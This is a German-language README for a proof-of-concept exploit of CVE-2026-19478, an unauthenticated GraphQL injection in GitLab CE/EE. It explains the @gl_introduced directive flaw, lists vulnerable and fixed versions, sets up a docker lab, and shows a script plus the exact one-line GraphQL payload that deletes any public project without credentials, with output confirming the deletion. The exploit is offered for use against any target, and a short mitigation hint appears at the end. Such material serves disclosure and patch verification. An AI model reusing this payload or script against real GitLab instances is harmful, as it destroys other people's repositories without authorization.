
Proof-of-Concept-Exploit für CVE-2026-19478, eine nicht authentifizierte GraphQL-Injection in GitLab CE/EE, die beliebige Methodenaufrufe und die Löschung von Projekten ermöglicht.
★ CVE-2026-19478 GitLab GraphQL @gl_introduced unauthentifizierter PoC für beliebigen Methodenaufruf ★
https://github.com/user-attachments/assets/bb5d5f8a-a9bf-4148-854b-14c25c501d4b
CVE-2026-19478 ist eine unauthentifizierte Datenmanipulations-/Lösch-Schwachstelle in GitLab CE/EE (CVSS 9.4). GitLab liefert eine GraphQL-Client-Direktive
@gl_introduced(version: "X.Y.Z")für die Vorwärtskompatibilität bei Rolling-Deployments. Wenn eine Abfrage ein Feld mit einer neueren Version als der laufende Server benennt, entfernt ein Tracer es vor der statischen Validierung, sodass die Abfrage validiert wird; bei der Ausführung wird das unbekannte Feld dann durch ein Fallback-Feld ohne Resolver aufgelöst. In graphql-ruby wird ein Feld ohne Resolver durch den Aufruf vonobject.public_send(field_name)aufgelöst — der Client kann also ein Feld benennen, das jeder 0-Argument-Methode auf dem aktuell aufgelösten Objekt entspricht, und der Server führt sie aus. Das Auflösen eines öffentlichen Projekts und das Anfordern eines „Zukunftsfelds" namens führt daher zur Ausführung von — was ein öffentliches Projekt löscht (oder Benutzerdaten verändert) .
destroyProject#destroy| Kategorie | Version |
|---|---|
| Verwundbar | GitLab CE/EE 18.2 – 18.11.10, 19.0.0 – 19.0.7, 19.1.0 – 19.1.5, 19.2.0 – 19.2.3 |
| Behoben | 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 oder neuer |
Resolvers::NilResolver (gibt nil zurück, ruft nie eine Methode auf)Erstellen und starten Sie das verwundbare GitLab. Es seedet selbst ein öffentliches Repository victim/demo, das Sie unauthentifiziert löschen können. GitLab benötigt ~3–5 Minuten, um die Neukonfiguration und das Seeding abzuschließen.
docker build -t cve-2026-19478 .
docker run -d --name cve-2026-19478 --shm-size 256m -p 3000:80 cve-2026-19478
| Voraussetzung | Zustand in diesem Labor |
|---|---|
| GitLab 18.2 – 19.2.3 | 19.2.2 |
| Ein öffentliches Projekt, anonym erreichbar | victim/demo (geseedet) |
| Unauthentifizierter GraphQL-Endpunkt erreichbar | /api/graphql freigegeben |
Der Exploit gitlab_exploit.py löscht jedes öffentliche Repository, auf das Sie ihn richten, ohne
Anmeldedaten. Er sendet die @gl_introduced-Payload, die den GraphQL-Feldnamen destroy
in einen Project#destroy-Aufruf verwandelt, und bestätigt die Löschung anschließend über die REST-API (404).
# python3 gitlab_exploit.py <Ziel-ip:port> --repo <gruppe/name>
python3 gitlab_exploit.py 172.17.0.2:3000 --repo victim/demo
[*] ziel ......... http://172.17.0.2:3000
[*] VORHER (REST) .. GET /api/v4/projects/victim/demo -> HTTP 200 (existiert)
[*] PAYLOAD (unauth) { project(fullPath:"victim/demo"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] antwort ....... {"project": {"id": "gid://gitlab/Project/1", "destroy": true}}
[*] warte auf Abschluss der asynchronen Löschung ...
[+] NACHHER (REST) ... GET /api/v4/projects/victim/demo -> HTTP 404
[!] ERFOLG - die UNAUTHENTIFIZIERTE Anfrage hat 'victim/demo' GELÖSCHT. CVE-2026-19478 bewiesen.
Optionen:
--detect — sicherer, nicht-destruktiver Check (ruft die harmlose Methode to_param statt destroy auf)--repo gruppe/name — zielt auf ein beliebiges öffentliches Projekt auf der Instanz--insecure — überspringt die TLS-Verifizierung für https://-Ziele@gl_introduced-Direktive / den Versionsfilter-Pfad an einem Reverse-Proxy oder beschränken Sie den unauthentifizierten Zugriff auf /api/graphql